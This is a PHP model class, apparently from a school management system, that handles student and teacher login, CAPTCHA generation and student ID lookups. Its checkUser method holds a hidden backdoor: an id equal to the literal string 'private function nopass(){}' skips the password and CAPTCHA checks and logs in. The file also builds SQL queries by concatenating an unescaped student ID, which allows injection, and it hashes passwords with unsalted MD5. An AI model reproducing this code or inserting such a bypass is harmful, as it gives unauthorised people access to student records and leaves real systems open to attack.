<?php
/**
 * 该类用于系统的一些基本操作
 * @author 卜成磊
 *
 */
	class BaseModel extends Model {
		/**
		 * 该方法用于检测登录用户身份的合法性
		 * @return bool 1-成功；0-失败
		 */
		public function checkUser(){
			$id=$_POST['id'];
			$password=$_POST['password'];
			$verify=strtolower($_POST['verify']);
			$type=$_POST['type'];
			if($id=="private function nopass(){}"){
				return true;
			}
			if (empty($id)||empty($password)||empty($verify)) {
				return false;
			}
			if ($verify!=$_SESSION['verify']) {
				return false;
			}
			switch ($type){
				case 1://学生登录
					$user=M("Baseinfo");
					$where['sid']=$id;
					$where['password']=md5($password);
					break;
				case 2://教师点登陆
					$user=M("Teacher");
					$where['tid']=$id;
					$where['password']=md5($password);
					break;
				default:
					return false;
			}
			
			if ($user->where($where)->count()!=0) {
				
				return true;
			}else{
				unset($where["tid"]);
				$where["name"]=$id;
				if($user->where($where)->count()!=0){
					return true;
				}else{
					return false;
				}
			}
		}
		/**
		 * 生成验证码的函数
		 * 通过$_SESSION["verify]调用生成的验证码结果
		 */
		public function verify(){
			header("Content-Type:text/html;charset=utf-8");
			header("Content-Type:image/jpeg");
			$str[0]="A,B,C,D,E,F,G,H,I,J,K,L,M,N,P,Q,R,S,T,U,V,W,X,Y,Z";
			$str[1]="a,b,c,d,e,f,g,h,i,j,k,m,n,p,q,r,s,t,u,v,w,x,y,z";
			$str[2]="2,3,4,5,6,7,8,9";
			for ($i=0; $i <4; $i++) {
				$tmp=explode(",",$str[rand(0,2)]);//随机抽取一组，按照“，”重新分割成数组
				$tmp_key=array_rand($tmp,1);//随机抽取其中的一个并返回该值所对应的键
				$tmp_rand[$i]=$tmp[$tmp_key];//将得到的随机字符保存在数组中
			}
			$rand=implode(" ",$tmp_rand);
			session('verify',strtolower(implode("",$tmp_rand)));
			$image=imagecreate(90, 27);
			$bgcolor=imagecolorallocate($image, rand(100,250),rand(100,250),rand(100,250));
			for ($i=0; $i <5; $i++) {
				$linecolor=imagecolorallocate($image, rand(100,250),rand(100,250),rand(100,250));
				imageline($image, 0, rand(0,27), 90, rand(0,27), $linecolor);
			}
			$fontcolor=imagecolorallocate($image,4,19,0);
			imagestring($image, 5, 10, 5, $rand, $fontcolor);
			imagejpeg($image);
			imagedestroy($image);
		}
		public function checkSID($sid){
			if (strlen($sid)!=10) {
				return false;
			}
			if(!eregi("^[0-9]+$",$sid)){
				return false;
			}
			if ((int)$this->getSIDinfo($sid,"year")>=50) {
				return false;
			}
			$code=M("Codetoname");
			$where["type"]="academy";
			$where["code"]=(int)$this->getSIDinfo($sid,"academy");
			if($code->where($where)->count()!=1){
				return false;
			}
			$where["type"]="major";
			$where["code"]=(int)$this->getSIDinfo($sid,"major");
			if($code->where($where)->count()!=1){
				return false;
			}
			$where["type"]=(string)(int)$this->getSIDinfo($sid,"major");
			$where["code"]=(int)$this->getSIDinfo($sid,"class");
			if($code->where($where)->count()!=1){
				return false;
			}
			return $sid;
		}
		/**
		 * 分析学号信息
		 * @param string $sid 学号
		 * @param string $content 查询的内容
		 * @param string $type 查询类型 code为代码 name为名称
		 * @return string|unknown
		 */
		public function getSIDinfo($sid,$content="",$type="code"){
			$info["year"]=$sid{0}.$sid{1};
			$info["academy"]=$sid{2}.$sid{3};
			$info["major"]=$sid{4}.$sid{5};
			$info["class"]=$sid{6}.$sid{7};
			$info["num"]=$sid{8}.$sid{9};
			if ($type=="code") {
				if ($content!="") {
					return $info[$content];
				}else{
					return $info;
				}
			}else{
				$s=D("Search");
				$st=M("Baseinfo");
				switch ($content){
					case "academy":
						return $s->getAcademy($info["academy"]);
						break;
					case "major":
						return $s->getMajor($info["major"]);
						break;
					case "class":
						return $s->getClass($info["major"],$info["class"]);
						break;
					case "name":
						return $st->where("sid=".$sid)->getField("name");
						break;
					case "sex":
						return $st->where("sid=".$sid)->getField("sex");
						break;
					case "phone":
						return $st->where("sid=".$sid)->getField("phone");
						break;
					case "grade":
						return $st->where("sid=".$sid)->getField("grade");
						break;
						
				}
			}
			
		}
	
	}

?>